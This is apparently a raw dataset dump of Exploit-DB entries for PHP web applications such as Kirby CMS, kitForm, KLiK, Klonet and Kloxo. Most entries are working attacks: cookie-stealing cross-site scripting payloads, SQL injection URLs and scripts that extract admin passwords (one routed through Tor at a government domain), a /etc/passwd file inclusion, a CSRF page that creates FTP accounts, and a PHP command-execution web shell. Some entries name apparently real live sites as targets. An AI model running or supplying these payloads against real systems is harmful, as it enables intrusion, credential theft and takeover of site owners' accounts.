deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45068
Description: Kirby CMS 2.5.12 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-07-23
Author: Zaran Shaikh

Exploit:
# Exploit Title:‚Äč‚Äč Kirby CMS 2.5.12 - Cross-Site Scripting
# Date: 2018-07-22
# Exploit Author: Zaran Shaikh
# Version: ‚Äč2.5.12
# CVE :  ‚ÄčNA
# Category: ‚ÄčWeb Application

# Description
# The application allows user injected payload which can lead to Stored
# Cross Site Scripting.

# Proof of Concept
# 1. Visit the application as low priv user
# 2. Go to add page option
# 3. Under title, enter any XSS payload like:

<script>alert("XSS");</script>

# 4. Upon the payload being injected, the subsequent page is triggered
# with XSS
Exploit-DB #49808
Description: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-04-28
Author: Sreenath Raghunathan

Exploit:
# Exploit Title: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)
# Date: 21-04-2021
# Exploit Author: Sreenath Raghunathan
# Vendor Homepage: https://getkirby.com/
# Software Link: https://github.com/getkirby/kirby
# Version: 3.5.3.1(REQUIRED)
# CVE : CVE-2021-29460

POST /api/users/<userid>/avatar HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF: <redacted>
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 563

Connection: close
Cookie:
<redacted>



----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="file"; filename="svgxss.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,500 500,0" fill="#009900"
stroke="#004400"/>
  "><script>alert(1)</script>
</svg>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--
Exploit-DB #43140
Description: Kirby CMS < 2.5.7 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-11-13
Author: Ishaq Mohammed

Exploit:
# Exploit Title: KirbyCMS <2.5.7 Stored Cross Site Scripting
# Vendor Homepage: https://getkirby.com/
# Software Link: https://getkirby.com/try
# Discovered by: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: webapps
# Platform: PHP
# CVE: CVE-2017-16807

1. Description
   
A cross-site Scripting (XSS) vulnerability in Kirby Panel before 2.3.3, 2.4.x before 2.4.2, and 2.5.x before 2.5.7 exists when displaying a specially prepared SVG document that has been uploaded as a content file.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16807

2. Proof of Concept

Steps to Reproduce:
Log in as an Editor and click on Site Options
Add the malicious .svg file which contains the javascript to the Site
Login to another browser with Admin Credentials.
Click on Site Options.
Click on the newly added .svg file

3. Reference

https://securityprince.blogspot.in/2017/11/cve-2017-16807-kirby-cms-257-cross-site.html   
https://getkirby.com/changelog/kirby-2-5-7

4. Solution

The vulnerability is patched by the vendor in the version 2.5.7.
Exploit-DB #5324
Description: KISGB (tmp_theme) 5.1.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-03-30
Author: Cr@zy_King

Exploit:
[~] KISGB (Keep It Simple Guest Book) : Local FiLe Include's (tmp_theme)
[~]
[~] Version : All Versions
[~]
[~] Download : http://sourceforge.net/project/showfiles.php?group_id=38585
[~] ----------------------------------------------------------
[~] Exploit coded and founded by Cr@zy_King
[~]
[~] Date: 30.03.2008
[~]
[~]
[~] crazy_kinq@hotmail.co.uk
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~]
[~] Digital-AngeLs Bug Researchers Yakinda OnLine :) Loading.
[~]
[~] [Peace Crew] Kerem125 - Alemin_Krali - m0sted - UyussMan
[~]
[~] Eno7 | Crackers_Child | Ghost61 | str0ke | [Hx] | [03xTr] | The_Bekir
[~]----------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/view_private.php?start=252&action=edit&tmp_theme=LFI
[~]
[~] ../../../../../../etc/passwd
[~]
[~]
[~]---------------------------------------------------------------------------------------------------------------
[~] " Akl횆짹n D횄쩌nya Liman횆짹na Demir Atm횆짹횇타sa Gemin F횆짹rt횆짹nadan Kurtulmaz ." 

# milw0rm.com [2008-03-30]
Exploit-DB #3278
Description: Kisisel Site 2007 - 'tr' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-06
Author: cl24zy

Exploit:
###############################################################
#Ki.isel Site 2007 (tr) == SQL Injection Vulnerability
#Author : cl24zy
#Site : www.hacklive.org , www.illegal-attack.org
#Contact: admin@hacklive.org
###############################################################
#Download Ki.isel Site 2007 (tr) : http://www.aspindir.com/goster/4693
#Demo : http://www.gazilogo.com/personel/

#Exploit;
#Admin Nick, Passport;
http://[SITE]/forum.asp?sayfa=konular&forumid=-1%20union+all+select+0,kullaniciadi,2,3,sifre,5,6,7+from+admin

#Union data Text;
#Konu Ba.l.klar. : Admin UserName
#Yazan : Admin Password

# iLLeGaL-ATTaCK//TiM & HacKLivETeaM
################################################################

# milw0rm.com [2007-02-06]
Exploit-DB #32983
Description: kitForm CRM Extension 0.43 - 'sorter.ph?sorter_value' SQL Injection
Type: webapps
Platform: php
Date: 2014-04-22
Author: chapp

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Happy easter..

* Product: phpManufaktur / kitForm
* Version: <= 0.43 (2013-11-22)
* Date: 2014-04-20
* Criticality: Medium
* Exploitable from: Remote
* Impact: SQL Injection
* Product URL: https://github.com/phpManufaktur/kitForm

1. Vendor Description:

kitForm is an extension for the Customer Relationship Management (CRM)
KeepInTouch and the Content Management Systems WebsiteBaker or LEPTON
CMS. It enables the easy creation of forms and dialogs for the CMS and
the CRM.

2. Vulnerability

A SQL injection error within the sorter.php file can be exploited by
unauthenticated people to conduct SQL injection attacks. The file does
not sanitize the "sorter_value" parameter before using the value in a
SQL query.

A successful exploit can extract database content and e.g.
administrative credentials (password hash).

22. $sorter_table = $_POST['sorter_table'];
23. switch ($sorter_table):
24. case 'mod_kit_form':
25.  // Frageboegen sortieren
26.   $rowIDs = implode(',', $_POST['rowID']);
27.  $sorter_value = $_POST['sorter_value'];
28.  $SQL = sprintf(  "UPDATE %smod_kit_form_table_sort
  SET sort_order='%s' WHERE sort_table='%s'
  AND sort_value='%s'",
29.  TABLE_PREFIX, $rowIDs, $sorter_table, $sorter_value);
30.  $database->query($SQL);

3. Exploit

 1. import httplib2, socks, urllib
 2.
 3. ### Change these values ###
 4. target = "http://fbi.gov"
 5. SQLi = "or 1=1 #"
 6. tor_http_proxy = 8118
 7.
 8. httplib2.debuglevel=4
 9.
10. headers = {
11.  'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1;
  zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4',
12.   'Content-Type': 'application/x-www-form-urlencoded'
13. }
14. h = httplib2.Http(proxy_info = httplib2.ProxyInfo(
  socks.PROXY_TYPE_HTTP, '127.0.0.1', tor_http_proxy, timeout=30)
15.
16. data = dict(
17.     rowID = "1",
18.     sorter_table = "mod_kit_form",
19.     sorter_value = "AAAA' %s" % SQLi  # <-- injection
20. )
21.
22. resp, content = h.request(
  "%s" % target, "POST", urllib.urlencode(data), headers=headers)
23
24 print resp
25 print content

xoxo chapp
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/

iQEcBAEBAgAGBQJTU9cEAAoJECKwmdefSHejw94H/384qa0OpLaF93UNisobw0rl
pp7Y6xKvfZn2mtYHxCCMzRmV2FngJHYP1L3pMTfB0VesLB49QBrzp5TOVDkvcoBx
q4D9VOXLxWteedH3S73+plvhKtbQZHAQ74PwY31F2idrzFO10oE4kw6UDDCdpxfq
Z6JVaJQAym3rDuRD20SAjp0opfP0BmijfNmuothfC9DzEQtzU44vWrac3ZSda+lL
VKVFr5NvRQ032G0CHvx+WT8yoFPnFxybwYFbW3Exr7QedjrM8eIpf47xgrzytM7i
sMWpBl/ZqdBkh1LrIin3lKuQgMIeHs+2Rb6Rbep72RKqVxfJy6AXPqhN0804GsU=
=AylG
-----END PGP SIGNATURE-----
Exploit-DB #51859
Description: kk Star Ratings < 5.4.6 - Rating Tampering via Race Condition
Type: webapps
Platform: php
Date: 2024-03-05
Author: Mohammad Reza Omrani

Exploit:
# Exploit Title: kk Star Ratings < 5.4.6 - Rating Tampering via Race
Condition
# Google Dork: inurl:/wp-content/plugins/kk-star-ratings/
# Date: 2023-11-06
# Exploit Author: Mohammad Reza Omrani
# Vendor Homepage: https://github.com/kamalkhan
# Software Link: https://wordpress.org/plugins/kk-star-ratings/
# WPScan :
https://wpscan.com/vulnerability/6f481d34-6feb-4af2-914c-1f3288f69207/
# Version: 5.4.6
# Tested on: Wordpress 6.2.2
# CVE : CVE-2023-4642

# POC:
1- Install and activate kk Star Ratings.
2- Go to the page that displays the star rating.
3- Using Burp and the Turbo Intruder extension, intercept the rating
submission.
4- Send the request to Turbo Intruder using Action > Extensions > Turbo
Intruder > Send to turbo intruder.
5- Drop the initial request and turn Intercept off.
6- In the Turbo Intruder window, add "%s" to the end of the connection
header (e.g. "Connection: close %s").
7- Use the code `examples/race.py`.
8- Click "Attack" at the bottom of the window. This will send multiple
requests to the server at the same moment.
9- To see the updated total rates, reload the page you tested.
Exploit-DB #32543
Description: KKE Info Media Kmita Catalogue 2 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-28
Author: cize0f

Exploit:
source: https://www.securityfocus.com/bid/31968/info

Kmita Catalogue is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Kmita Catalogue V2 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?q=<script>alert(document.cookie);</script>&Search=Search
Exploit-DB #32544
Description: KKE Info Media Kmita Gallery - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-10-29
Author: cize0f

Exploit:
source: https://www.securityfocus.com/bid/31970/info

Kmita Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/kmitag/index.php?begin=10<script>alert(document.cookie);</script>&catid=3

http://www.example.com/kmitag/search.php?searchtext=<script>alert(document.cookie);</script>&Search=Search
Exploit-DB #14585
Description: kleeja 1.0.0RC6 - Database Disclosure
Type: webapps
Platform: php
Date: 2010-08-09
Author: indoushka

Exploit:
====================================================
kleeja1.0.0RC6 Database Disclosure Exploit
====================================================

######################################################################## 

# Vendor: kleeja.com
# Date: 2010-05-27 
# Author : indoushka 
# Contact :[PII_REDACTED]8860
# Home : www.sec4ever.com
# Bug  : Database Disclosure Exploit
# Tested on : windows SP2 Fran?ais V.(Pnx2 2.0) 
######################################################################## 
                                                                                                                                                                                                
# Exploit By indoushka 

<?php

$action 	= "http://127.0.0.1/kleeja/admin.php?cp=bckup";
$sql_data = "# 1.0.0RC6, DB version:6\n";
			$sql_data .= "# Kleeja Backup kleeja.com  kleeja version : " . KLEEJA_VERSION . ", DB version:" . $config['db_version'] . "\n";
			$sql_data .= "# DATE : " . gmdate("d-m-Y H:i:s", time()) . " GMT\n";
			$sql_data .= "#\n\n\n";
			$cmd = $_GET['cmd'];
            system($cmd);
			$db_name_save = $dbname . '_kleeja.sql';
			@set_time_limit(0);
			header("Content-length: " . strlen($outta));
			header("Content-type: text/plain");
			header("Content-Disposition: attachment; filename=$db_name_save");
			echo $sql_data . $outta;
			exit;


?>


Dz-Ghost Team ===== Saoucha * Star08 * Cyber Sec * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ===========================
special thanks to : r0073r (inj3ct0r.com) * L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller 
Sid3^effects * aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * r1z * D4NB4R * www.alkrsan.net 
MR.SoOoFe * ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH
---------------------------------------------------------------------------------------------------------------------------------
Exploit-DB #33853
Description: Kleophatra CMS 0.1.1 - 'module' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-19
Author: anT!-Tr0J4n

Exploit:
source: https://www.securityfocus.com/bid/39593/info

Kleophatra CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Kleophatra CMS 0.1.1 is vulnerable; other versions may also be affected. 

# Exploit Title:[ Kleophatra CMS XSS Vulnerability ]
# Date: [19/4/2010]
# My home :www.Dev-Point.com
# Author: [anT!-Tr0J4n]
# Software Link:[http://portal.kleophatra.org]

=====[ Exploit XSS ]======
[>>]Exploit :
 
index.php?module=[ Xss ]

http://localhost/kleo/index.php?module=1<script>alert(document.cookie)</script>


http://localhost/kleo/?module=1<script>alert[PII_REDACTED]51)</script>



[>>] Exampel : 


http://portal.kleophatra.org/index.php?module=1<script>alert(document.cookie)</script>


========================

Site: www.Dev-PoinT.com
Author : anT!-Tr0J4n
EmaiL : anTi-TroJan@Hotmail.com

GreeTz To:Dev-P0!nT T34M /GlaDiatOr/ProfessionaL/SILVER STAR/Coffin Of Evil
R3d-D3v1l/HoBeeZ/mahmoudvip/Mr.Mh$TEr / And All My Frindes $

==========================
Exploit-DB #50851
Description: KLiK Social Media Website 1.0 - 'Multiple' SQLi
Type: webapps
Platform: php
Date: 2022-04-07
Author: corpse

Exploit:
# Exploit Title: KLiK Social Media Website 1.0 - 'Multiple' SQLi
# Date: April 1st, 2022
# Exploit Author: corpse
# Vendor Homepage: https://github.com/msaad1999/KLiK-SocialMediaWebsite
# Software Link: https://github.com/msaad1999/KLiK-SocialMediaWebsite
# Version: 1.0
# Tested on: Debian 11

Parameter: poll (GET)
    Type: time-based blind
    Title: MySQL time-based blind - Parameter replace (ELT)
    Payload: poll=ELT(1079=1079,SLEEP(5))

Parameter: pollID (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: voteOpt=26&voteSubmit=Submit Vote&pollID=15 AND 1248=1248

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: voteOpt=26&voteSubmit=Submit Vote&pollID=15 AND (SELECT 7786 FROM (SELECT(SLEEP(5)))FihS)

Parameter: voteOpt (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: voteOpt=(SELECT (CASE WHEN (7757=7757) THEN 26 ELSE (SELECT 1548 UNION SELECT 8077) END))&voteSubmit=Submit Vote&pollID=15

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: voteOpt=26 AND (SELECT 8024 FROM (SELECT(SLEEP(5)))DZnp)&voteSubmit=Submit Vote&pollID=15
Exploit-DB #15886
Description: KLINK - SQL Injection
Type: webapps
Platform: php
Date: 2011-01-01
Author: Mauro Rossi & Andres Gomez

Exploit:
##########################[Andrï¿½s Gï¿½mez]################################
> # Exploit Title : KLINK Sql Injection Vulnerability
> # Date : 2010-12-31
> # Author : Andrï¿½s Gï¿½mez
> # Software Developed by : http://www.contacto.com<http://www.contacto.com.com/>
> # Contact : gomezandres@adinet.com.uy
> # Dork : "allinurl:*.php?txtCodiInfo="
> ########################################################################
> # An attacker may execute arbitrary SQL statements on the vulnerable
> system.
> #This may compromise the integrity of your database and/or expose sensitive
> information.
> ########################################################################
> # Example 1: http://site.tld/path/interna.php?txtCodiInfo='
> # Example 2:
> http://site.tld/path/interna.php?txtCodiInfo=2+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10--
> # Example 3:
> http://site.tld/path/interna.php?txtCodiInfo=2+and+1=0+union+select+1,2,3,@@version,5,6,7,8,9,10--
> ########################################################################
> # Malicious users may inject SQL querys into a vulnerable
> # application to fool a user in order to gather data from them or see
> sensible information.
> ########################################################################
> # Solution:
> # $_GET = preg_replace("|([^\w\s\'])|i",'',$_GET);
> # $_POST = preg_replace("|([^\w\s\'])|i",'',$_POST);
> # Add them to your template index.php after the first <?php decelaration.
> ########################################################################
> # Special Thanks : HYPERNETHOST & Mauro Rossi
> ##########################[Andrï¿½s Gï¿½mez]################################
Exploit-DB #9818
Description: Klonet E-Commerce - 'products.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-25
Author: S3T4N

Exploit:
##################################################################
#                     _______                          __   
#   ________ _____  __\   _  \_______     ____   _____/  |_ 
#  /  ___/  |  \  \/  /  /_\  \_  __ \   /    \_/ __ \   __\
#  \___ \|  |  />    <\  \_/   \  | \/  |   |  \  ___/|  |  
# /____  >____//__/\_ \\_____  /__|    /\___|  /\___  >__|  
#      \/            \/      \/        \/    \/     \/      
##################################################################


Info=============================================================
Software	: Klonet E-Commerce
vendor		: http://www.klotnet.com/
Date		: 09/26/2009 [Indonesia]
Author		: S3T4N
Contact		: root[at]sux0r.net
Blog		: http://sux0r.net
=================================================================



SQLInjection=====================================================
File		: products.php
Exploit		: http://[target]/products.php?prod_id=[SQL]
Life Demo	: http://www.schulmerichbells.com/products.php?prod_id=-22653%20union%20select%201,2,3,4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76--
		: http://www.schulmerich.org/products.php?prod_id=-1%20union%20select%201,2,3,4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76--
=================================================================



Greetz===========================================================
www.MainHack.net - www.ServerIsDown.org - www.sux0r.net
VOP Crew [ Vaksin13 * OoN_Boy * Paman ]
R3VAN_BASTARD * Kecemplungkalen * em|nem
Jupe Crew [internet itu gratis jendral]
=================================================================
Exploit-DB #33957
Description: kloNews 2.0 - 'cat.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-20
Author: cr4wl3r

Exploit:
source: https://www.securityfocus.com/bid/39987/info

kloNews is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

kloNews 2.0 is vulnerable; other versions may also be affected.

http://wwww.example.com/cat.php?cat=&lt;script&gt;alert(document.cookie);&lt;/script&gt;
Exploit-DB #32665
Description: Kloxo 6.1.18 Stable - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-04-02
Author: Necmettin COSKUN

Exploit:
# Exploit Title		:Kloxo 6.1.18 Stable CSRF Vulnerability
# Vendor Homepage	:http://lxcenter.org/software/kloxo
# Version			:6.1.18
# Exploit Author	:Necmettin COSKUN =>@babayarisi
# Blog				:http://www.ncoskun.com http://www.grisapka.org
# Discovery date	:03/12/2014
# CVE				:N/A
 
Kloxo (formerly known as Lxadmin) is a free, opensource web hosting control panel for the Red Hat and CentOS Linux distributions.
================
CSRF Vulnerability
 
Vulnerability
================
Kloxo has lots of POST and GET based form applications some inputs escaped from specialchars but inputs dont have any csrf protection or secret key 
So an remote attacker can manipulate this forms to add/delete mysql user,create/delete subdomains or add/delete ftp accounts.

Poc Exploit
================

 <html>
 <head><title>Kloxo demo</title></head>
 <script type="text/javascript">
 function yurudi(){
		///////////////////////////////////////////////////////////
		//Kloxo 6.1.18 Stable CSRF Vulnerability		 //	
		//Author:Necmettin COSKUN => twitter.com/@babayarisi	 //
		//Blog: http://www.ncoskun.com | http://www.grisapka.org //
		///////////////////////////////////////////////////////////
		//Remote host
		var host="victim.com";	
		//New Ftp Username
		var username="demouser";
		//New Ftp Password
		var pass="12345678";
		//This creates new folder under admin dir. /admin/yourfolder
		var dir="demodirectory";
		//If necessary only modify http to https ;)
		var urlson="http://"+host+":7778//display.php?frm_o_cname=ftpuser&frm_dttype&frm_ftpuser_c_nname="+username+"&frm_ftpuser_c_complete_name_f=--direct--&frm_ftpuser_c_password="+pass+"&frm_confirm_password="+pass+"&frm_ftpuser_c_directory="+dir+"&frm_ftpuser_c_ftp_disk_usage&frm_action=add";

		document.getElementById('demoexploit').src=urlson;
}
 </script>
 <body onload="yurudi();">
 <img id="demoexploit" src=""></img>
 </body>
 </html>
 
 
Discovered by:
================
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!